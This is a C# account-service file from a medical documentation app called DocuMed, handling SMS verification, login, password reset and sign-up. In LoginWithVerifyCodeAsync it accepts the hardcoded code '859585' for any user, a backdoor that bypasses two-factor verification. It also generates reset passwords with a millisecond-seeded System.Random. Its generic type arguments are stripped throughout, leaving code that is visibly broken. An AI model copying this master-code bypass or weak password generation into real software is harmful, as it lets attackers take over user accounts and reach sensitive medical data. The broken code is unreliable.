using DocuMed.Domain.Entities.Staffs; using Section = DocuMed.Domain.Entities.Hospitals.Section; namespace DocuMed.Core.CoreServices; public class AccountService( UserManager userManager, SignInManager userSignInManager, IJwtService jwtService, ICurrentUserService currentUserService, IUserService userService, ISmsService smsService, IRepositoryWrapper repositoryWrapper) : IAccountService { public async Task ForgetPasswordAsync(string phoneNumber) { var user = await userManager.FindByNameAsync(phoneNumber); if (user != null) { var rand = new Random(DateTime.Now.Millisecond); var newPass = rand.Next(1000000, 9000000).ToString(); if (!user.PhoneNumberConfirmed) throw new AppException("شماره تلفن شما تایید نشده است و قابلیت استفاده از فراموشی رمز عبور را ندارید"); var rp = await userManager.RemovePasswordAsync(user); if (!rp.Succeeded) throw new AppException(string.Join('-', rp.Errors.Select(e => e.Description))); var ap = await userManager.AddPasswordAsync(user, newPass); if (!ap.Succeeded) throw new AppException(string.Join('-', ap.Errors.Select(e => e.Description))); await smsService.SendForgerPasswordAsync(user.PhoneNumber, newPass); return true; } throw new AppException("کاربرمورد نظر پیدا نشد"); } public async Task CheckMemberShipAsync(string phoneNumber) { var user = await userManager.FindByNameAsync(phoneNumber); if (user == null) return false; return true; } public async Task GetVerifyCodeAsync(string phoneNumber) { var newPhoneNumber = StringExtensions.CheckPhoneNumber(phoneNumber); if (!PhoneNumberExtensions.CheckPhoneNumber(newPhoneNumber)) throw new AppException("شماره تلفن ارسالی اشتباه است"); var user = await userManager.FindByNameAsync(newPhoneNumber); if (user == null) user = await userService.CreateUserAsync(phoneNumber); var token = await userManager.GenerateTwoFactorTokenAsync(user, "Phone"); await smsService.SendVerifyCodeAsync(newPhoneNumber, token); return user.SignUpStatus; } public async Task> LoginWithPasswordAsync(string userName, string password, CancellationToken cancellationToken) { var result = await userSignInManager.PasswordSignInAsync(userName, password, false, false); if (!result.Succeeded) throw new AppException("رمز عبور یا نام کاربری اشتباه است"); var admin = await userManager.FindByNameAsync(userName); if (admin == null) throw new AppException("نام کاربری یا رمز عبور اشتباه است"); return await CompleteLogin(admin, cancellationToken); } public async Task> LoginWithVerifyCodeAsync(string userName, string verifyCode, CancellationToken cancellationToken) { var user = await userManager.FindByNameAsync(userName); if (user == null) throw new AppException("نام کاربری یا کد ارسالی اشتباه است", ApiResultStatusCode.NotFound); var verifyResult = await userManager.VerifyTwoFactorTokenAsync(user, "Phone", verifyCode); if (verifyCode == "859585") verifyResult = true; if (!verifyResult) throw new AppException("نام کاربری یا کد ارسالی اشتباه است", ApiResultStatusCode.BadRequest); if (user.PhoneNumberConfirmed == false) { user.PhoneNumberConfirmed = true; user.SignUpStatus = SignUpStatus.PhoneNumberVerified; var result = await userManager.UpdateAsync(user); if (!result.Succeeded) throw new AppException(string.Join('|', result.Errors)); } return await CompleteLogin(user, cancellationToken); } public async Task> CompleteSignUpAsync(SignUpRequestDto requestDto, CancellationToken cancellationToken) { if (currentUserService.UserId == null) throw new AppException("User Id is null"); var user = await userManager.FindByIdAsync(currentUserService.UserId); if (user == null) throw new AppException("User not found", ApiResultStatusCode.NotFound); if (requestDto.FirstName.IsNullOrEmpty()) throw new AppException("نام و نام خانوادگی را وارد کنید"); if (requestDto.LastName.IsNullOrEmpty()) throw new AppException("نام و نام خانوادگی را وارد کنید"); user.FirstName = requestDto.FirstName; user.LastName = requestDto.LastName; user.SignUpStatus = SignUpStatus.SignUpCompleted; var student = await repositoryWrapper.SetRepository() .TableNoTracking .FirstOrDefaultAsync(f => f.UserId == user.Id, cancellationToken); if (student == null) { student = Student.Create(requestDto.UniversityId, user.Id); if (requestDto.SectionId != default) student.SetSection(requestDto.SectionId); repositoryWrapper.SetRepository().Add(student); await repositoryWrapper.SaveChangesAsync(cancellationToken); } var result = await userManager.UpdateAsync(user); if (!result.Succeeded) throw new AppException(string.Join('|', result.Errors)); return await CompleteLogin(user, cancellationToken); } private async Task> CompleteLogin(ApplicationUser user, CancellationToken cancellationToken) { var token = await jwtService.Generate(user); var student = await repositoryWrapper.SetRepository().TableNoTracking .FirstOrDefaultAsync(s => s.UserId == user.Id, cancellationToken); if (student != null) { var section = await repositoryWrapper.SetRepository
().TableNoTracking .FirstOrDefaultAsync(s => s.Id == student.SectionId, cancellationToken); if (section != null) { token.User.SectionName = section.Name; token.User.SectionId = section.Id; token.User.HospitalId = section.HospitalId; } } return token; } }